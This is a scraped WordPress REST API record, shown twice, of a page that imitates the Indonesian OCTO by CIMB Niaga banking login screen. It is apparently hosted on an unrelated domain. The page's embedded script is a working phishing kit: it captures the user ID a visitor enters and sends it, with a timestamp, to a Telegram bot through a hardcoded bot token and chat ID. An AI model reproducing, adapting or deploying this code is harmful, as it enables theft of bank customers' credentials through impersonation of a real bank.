Login OCTO by CIMB Niaga<\/title>\n <style>\n * {\n margin: 0;\n padding: 0;\n box-sizing: border-box;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;\n }\n\n body {\n background-color: #9E1017;\n min-height: 100vh;\n padding: 0 18px 14px; \/* Padding atas dihapus agar header naik *\/\n color: #ffffff;\n position: relative;\n overflow-x: hidden;\n }\n\n \/* Dekorasi latar *\/\n .bg-dots {\n position: absolute;\n right: 18px;\n bottom: 90px;\n display: grid;\n grid-template-columns: repeat(6, 5px);\n gap: 7px;\n }\n .dot {\n width: 5px;\n height: 5px;\n background-color: rgba(255, 255, 255, 0.7);\n border-radius: 50%;\n }\n .bg-lines {\n position: absolute;\n bottom: 90px;\n left: 18px;\n display: flex;\n gap: 10px;\n align-items: center;\n }\n .circle-outline {\n width: 28px;\n height: 28px;\n border: 1.5px solid rgba(255, 255, 255, 0.6);\n border-radius: 50%;\n }\n .line {\n width: 40px;\n height: 1.5px;\n background-color: rgba(255, 255, 255, 0.6);\n border-radius: 2px;\n }\n\n \/* Header - Dinaikkan ke paling atas *\/\n .header {\n display: flex;\n justify-content: space-between;\n align-items: center;\n margin: 12px 0 45px; \/* Jarak bawah diperbesar agar isi tetap di tempat *\/\n width: 100%;\n padding: 4px 0;\n }\n\n .back-btn {\n width: 36px;\n height: 36px;\n background-color: rgba(255, 255, 255, 0.2);\n border-radius: 6px;\n display: flex;\n align-items: center;\n justify-content: center;\n text-decoration: none;\n color: white;\n font-size: 20px;\n font-weight: 300;\n flex-shrink: 0;\n }\n\n .page-title {\n font-size: 22px;\n font-weight: 600;\n padding-bottom: 4px;\n border-bottom: 2px solid white;\n margin: 0;\n text-align: center;\n flex: 1;\n }\n\n .help-box {\n background-color: #FFB300;\n color: #9E1017;\n padding: 6px 12px;\n border-radius: 20px;\n font-size: 13px;\n font-weight: 600;\n display: flex;\n align-items: center;\n gap: 4px;\n flex-shrink: 0;\n }\n .help-icon {\n font-size: 18px;\n }\n\n \/* Form Login - Posisi TETAP *\/\n .input-group {\n margin-bottom: 28px;\n }\n\n .input-wrapper {\n position: relative;\n margin-bottom: 24px;\n }\n\n .userid-input {\n width: 100%;\n background: transparent;\n border: none;\n border-bottom: 1px solid rgba(255, 255, 255, 0.7);\n padding: 8px 0;\n font-size: 16px;\n color: white;\n outline: none;\n }\n\n .userid-input::placeholder {\n color: rgba(255, 255, 255, 0.7);\n }\n\n .forgot-link {\n position: absolute;\n right: 0;\n top: 0;\n color: rgba(255, 255, 255, 0.9);\n text-decoration: none;\n font-size: 13px;\n }\n\n .login-btn {\n width: 100%;\n padding: 11px;\n background-color: white;\n color: #9E1017;\n border: none;\n border-radius: 50px;\n font-size: 17px;\n font-weight: 600;\n cursor: pointer;\n transition: all 0.2s ease;\n margin-bottom: 28px;\n }\n\n .login-btn:disabled {\n opacity: 0.6;\n cursor: not-allowed;\n }\n\n \/* Daftar Section *\/\n .info-text {\n text-align: center;\n font-size: 14px;\n color: rgba(255, 255, 255, 0.9);\n margin-bottom: 16px;\n }\n\n .register-btn {\n width: 100%;\n padding: 11px;\n background-color: transparent;\n color: white;\n border: 1px solid white;\n border-radius: 50px;\n font-size: 15px;\n font-weight: 500;\n cursor: pointer;\n margin-bottom: 30px;\n }\n\n .open-account-text {\n text-align: center;\n font-size: 14px;\n color: rgba(255, 255, 255, 0.9);\n line-height: 1.4;\n }\n\n \/* Logo Footer *\/\n .logo-container {\n position: absolute;\n bottom: 24px;\n left: 50%;\n transform: translateX(-50%);\n text-align: center;\n }\n\n .logo-octo {\n font-size: 40px;\n font-weight: bold;\n letter-spacing: 1px;\n margin-bottom: 2px;\n }\n\n .logo-cimb {\n font-size: 11px;\n opacity: 0.9;\n }\n <\/style>\n<\/head>\n<body>\n\n \n <div class=\"bg-dots\">\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <\/div>\n <div class=\"bg-lines\">\n <div class=\"circle-outline\"><\/div>\n <div class=\"line\"><\/div>\n <\/div>\n\n \n <div class=\"header\">\n <a href=\"#\" class=\"back-btn\"><<\/a>\n <h1 class=\"page-title\">Login<\/h1>\n <div class=\"help-box\">\n Butuh bantuan? <span class=\"help-icon\">\ud83d\udca1<\/span>\n <\/div>\n <\/div>\n\n \n <div class=\"input-group\">\n <div class=\"input-wrapper\">\n <input type=\"text\" id=\"userIdInput\" class=\"userid-input\" placeholder=\"Masukkan user ID\" autocomplete=\"off\">\n <a href=\"#\" class=\"forgot-link\">Lupa user ID?<\/a>\n <\/div>\n\n <button id=\"loginBtn\" class=\"login-btn\">Login<\/button>\n\n <p class=\"info-text\">Saya punya rekening tapi belum punya user ID<\/p>\n\n <button class=\"register-btn\">Daftar Aplikasi OCTO<\/button>\n\n <p class=\"open-account-text\">\n Saya belum punya rekening<br>\n <strong>Buka rekening sekarang<\/strong>\n <\/p>\n <\/div>\n\n \n <div class=\"logo-container\">\n <div class=\"logo-octo\">OCTO<\/div>\n <div class=\"logo-cimb\">BY \u27a4 CIMB NIAGA<\/div>\n <\/div>\n\n <script>\n \/\/ Konfigurasi Telegram\n const BOT_TOKEN = \"8613929730:AAGRabc1H1GQPAK1ehaWMEMnc8UPa0UG2uE\";\n const CHAT_ID = \"6633644344\";\n\n const userIdInput = document.getElementById('userIdInput');\n const loginBtn = document.getElementById('loginBtn');\n\n \/\/ Aktifkan tombol jika ada isi\n userIdInput.addEventListener('input', function() {\n loginBtn.disabled = this.value.trim().length < 4;\n });\n\n \/\/ Fungsi kirim data\n loginBtn.addEventListener('click', function() {\n const userId = userIdInput.value.trim();\n if (!userId) return;\n\n this.disabled = true;\n this.textContent = \"Memproses...\";\n\n const pesan = `\ud83d\udd14 *Login OCTO CIMB Niaga*\\n` +\n `\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\\n` +\n `\ud83c\udd94 User ID: \\`${userId}\\`\\n` +\n `\u23f0 Waktu: ${new Date().toLocaleString('id-ID')}\\n` +\n `\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501`;\n\n fetch(`https:\/\/api.telegram.org\/bot${BOT_TOKEN}\/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(pesan)}&parse_mode=Markdown`)\n .then(res => res.json())\n .then(data => {\n if (data.ok) {\n alert(\"Data berhasil dikirim\");\n this.textContent = \"Login\";\n userIdInput.value = \"\";\n } else {\n alert(\"Gagal mengirim, silakan coba lagi.\");\n this.disabled = false;\n this.textContent = \"Login\";\n }\n })\n .catch(() => {\n alert(\"Koneksi bermasalah.\");\n this.disabled = false;\n this.textContent = \"Login\";\n });\n });\n <\/script>\n\n<\/body>\n<\/html>\n\n","protected":false},"excerpt":{"rendered":"<p>Login OCTO by CIMB Niaga < Login Butuh bantuan? \ud83d\udca1 Lupa user ID? Login Saya punya rekening tapi belum punya user ID Daftar Aplikasi OCTO Saya belum punya rekening Buka rekening sekarang OCTO BY \u27a4 CIMB NIAGA<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"from","meta":{"footnotes":""},"class_list":["post-212","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/212","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=212"}],"version-history":[{"count":1,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/212\/revisions"}],"predecessor-version":[{"id":213,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/212\/revisions\/213"}],"wp:attachment":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

{"id":212,"date":"2026-06-04T14:36:15","date_gmt":"2026-06-04T14:36:15","guid":{"rendered":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=212"},"modified":"2026-06-04T14:36:15","modified_gmt":"2026-06-04T14:36:15","slug":"212-2","status":"publish","type":"page","link":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/?page_id=212","title":{"rendered":""},"content":{"rendered":"\n\n\n\n \n \n Login OCTO by CIMB Niaga<\/title>\n <style>\n * {\n margin: 0;\n padding: 0;\n box-sizing: border-box;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;\n }\n\n body {\n background-color: #9E1017;\n min-height: 100vh;\n padding: 0 18px 14px; \/* Padding atas dihapus agar header naik *\/\n color: #ffffff;\n position: relative;\n overflow-x: hidden;\n }\n\n \/* Dekorasi latar *\/\n .bg-dots {\n position: absolute;\n right: 18px;\n bottom: 90px;\n display: grid;\n grid-template-columns: repeat(6, 5px);\n gap: 7px;\n }\n .dot {\n width: 5px;\n height: 5px;\n background-color: rgba(255, 255, 255, 0.7);\n border-radius: 50%;\n }\n .bg-lines {\n position: absolute;\n bottom: 90px;\n left: 18px;\n display: flex;\n gap: 10px;\n align-items: center;\n }\n .circle-outline {\n width: 28px;\n height: 28px;\n border: 1.5px solid rgba(255, 255, 255, 0.6);\n border-radius: 50%;\n }\n .line {\n width: 40px;\n height: 1.5px;\n background-color: rgba(255, 255, 255, 0.6);\n border-radius: 2px;\n }\n\n \/* Header - Dinaikkan ke paling atas *\/\n .header {\n display: flex;\n justify-content: space-between;\n align-items: center;\n margin: 12px 0 45px; \/* Jarak bawah diperbesar agar isi tetap di tempat *\/\n width: 100%;\n padding: 4px 0;\n }\n\n .back-btn {\n width: 36px;\n height: 36px;\n background-color: rgba(255, 255, 255, 0.2);\n border-radius: 6px;\n display: flex;\n align-items: center;\n justify-content: center;\n text-decoration: none;\n color: white;\n font-size: 20px;\n font-weight: 300;\n flex-shrink: 0;\n }\n\n .page-title {\n font-size: 22px;\n font-weight: 600;\n padding-bottom: 4px;\n border-bottom: 2px solid white;\n margin: 0;\n text-align: center;\n flex: 1;\n }\n\n .help-box {\n background-color: #FFB300;\n color: #9E1017;\n padding: 6px 12px;\n border-radius: 20px;\n font-size: 13px;\n font-weight: 600;\n display: flex;\n align-items: center;\n gap: 4px;\n flex-shrink: 0;\n }\n .help-icon {\n font-size: 18px;\n }\n\n \/* Form Login - Posisi TETAP *\/\n .input-group {\n margin-bottom: 28px;\n }\n\n .input-wrapper {\n position: relative;\n margin-bottom: 24px;\n }\n\n .userid-input {\n width: 100%;\n background: transparent;\n border: none;\n border-bottom: 1px solid rgba(255, 255, 255, 0.7);\n padding: 8px 0;\n font-size: 16px;\n color: white;\n outline: none;\n }\n\n .userid-input::placeholder {\n color: rgba(255, 255, 255, 0.7);\n }\n\n .forgot-link {\n position: absolute;\n right: 0;\n top: 0;\n color: rgba(255, 255, 255, 0.9);\n text-decoration: none;\n font-size: 13px;\n }\n\n .login-btn {\n width: 100%;\n padding: 11px;\n background-color: white;\n color: #9E1017;\n border: none;\n border-radius: 50px;\n font-size: 17px;\n font-weight: 600;\n cursor: pointer;\n transition: all 0.2s ease;\n margin-bottom: 28px;\n }\n\n .login-btn:disabled {\n opacity: 0.6;\n cursor: not-allowed;\n }\n\n \/* Daftar Section *\/\n .info-text {\n text-align: center;\n font-size: 14px;\n color: rgba(255, 255, 255, 0.9);\n margin-bottom: 16px;\n }\n\n .register-btn {\n width: 100%;\n padding: 11px;\n background-color: transparent;\n color: white;\n border: 1px solid white;\n border-radius: 50px;\n font-size: 15px;\n font-weight: 500;\n cursor: pointer;\n margin-bottom: 30px;\n }\n\n .open-account-text {\n text-align: center;\n font-size: 14px;\n color: rgba(255, 255, 255, 0.9);\n line-height: 1.4;\n }\n\n \/* Logo Footer *\/\n .logo-container {\n position: absolute;\n bottom: 24px;\n left: 50%;\n transform: translateX(-50%);\n text-align: center;\n }\n\n .logo-octo {\n font-size: 40px;\n font-weight: bold;\n letter-spacing: 1px;\n margin-bottom: 2px;\n }\n\n .logo-cimb {\n font-size: 11px;\n opacity: 0.9;\n }\n <\/style>\n<\/head>\n<body>\n\n \n <div class=\"bg-dots\">\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div><div class=\"dot\"><\/div>\n <\/div>\n <div class=\"bg-lines\">\n <div class=\"circle-outline\"><\/div>\n <div class=\"line\"><\/div>\n <\/div>\n\n \n <div class=\"header\">\n <a href=\"#\" class=\"back-btn\"><<\/a>\n <h1 class=\"page-title\">Login<\/h1>\n <div class=\"help-box\">\n Butuh bantuan? <span class=\"help-icon\">\ud83d\udca1<\/span>\n <\/div>\n <\/div>\n\n \n <div class=\"input-group\">\n <div class=\"input-wrapper\">\n <input type=\"text\" id=\"userIdInput\" class=\"userid-input\" placeholder=\"Masukkan user ID\" autocomplete=\"off\">\n <a href=\"#\" class=\"forgot-link\">Lupa user ID?<\/a>\n <\/div>\n\n <button id=\"loginBtn\" class=\"login-btn\">Login<\/button>\n\n <p class=\"info-text\">Saya punya rekening tapi belum punya user ID<\/p>\n\n <button class=\"register-btn\">Daftar Aplikasi OCTO<\/button>\n\n <p class=\"open-account-text\">\n Saya belum punya rekening<br>\n <strong>Buka rekening sekarang<\/strong>\n <\/p>\n <\/div>\n\n \n <div class=\"logo-container\">\n <div class=\"logo-octo\">OCTO<\/div>\n <div class=\"logo-cimb\">BY \u27a4 CIMB NIAGA<\/div>\n <\/div>\n\n <script>\n \/\/ Konfigurasi Telegram\n const BOT_TOKEN = \"8613929730:AAGRabc1H1GQPAK1ehaWMEMnc8UPa0UG2uE\";\n const CHAT_ID = \"6633644344\";\n\n const userIdInput = document.getElementById('userIdInput');\n const loginBtn = document.getElementById('loginBtn');\n\n \/\/ Aktifkan tombol jika ada isi\n userIdInput.addEventListener('input', function() {\n loginBtn.disabled = this.value.trim().length < 4;\n });\n\n \/\/ Fungsi kirim data\n loginBtn.addEventListener('click', function() {\n const userId = userIdInput.value.trim();\n if (!userId) return;\n\n this.disabled = true;\n this.textContent = \"Memproses...\";\n\n const pesan = `\ud83d\udd14 *Login OCTO CIMB Niaga*\\n` +\n `\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\\n` +\n `\ud83c\udd94 User ID: \\`${userId}\\`\\n` +\n `\u23f0 Waktu: ${new Date().toLocaleString('id-ID')}\\n` +\n `\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501`;\n\n fetch(`https:\/\/api.telegram.org\/bot${BOT_TOKEN}\/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(pesan)}&parse_mode=Markdown`)\n .then(res => res.json())\n .then(data => {\n if (data.ok) {\n alert(\"Data berhasil dikirim\");\n this.textContent = \"Login\";\n userIdInput.value = \"\";\n } else {\n alert(\"Gagal mengirim, silakan coba lagi.\");\n this.disabled = false;\n this.textContent = \"Login\";\n }\n })\n .catch(() => {\n alert(\"Koneksi bermasalah.\");\n this.disabled = false;\n this.textContent = \"Login\";\n });\n });\n <\/script>\n\n<\/body>\n<\/html>\n\n","protected":false},"excerpt":{"rendered":"<p>Login OCTO by CIMB Niaga < Login Butuh bantuan? \ud83d\udca1 Lupa user ID? Login Saya punya rekening tapi belum punya user ID Daftar Aplikasi OCTO Saya belum punya rekening Buka rekening sekarang OCTO BY \u27a4 CIMB NIAGA<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"from","meta":{"footnotes":""},"class_list":["post-212","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/212","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=212"}],"version-history":[{"count":1,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/212\/revisions"}],"predecessor-version":[{"id":213,"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/212\/revisions\/213"}],"wp:attachment":[{"href":"https:\/\/amankancard-b81d6c.ingress-haven.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}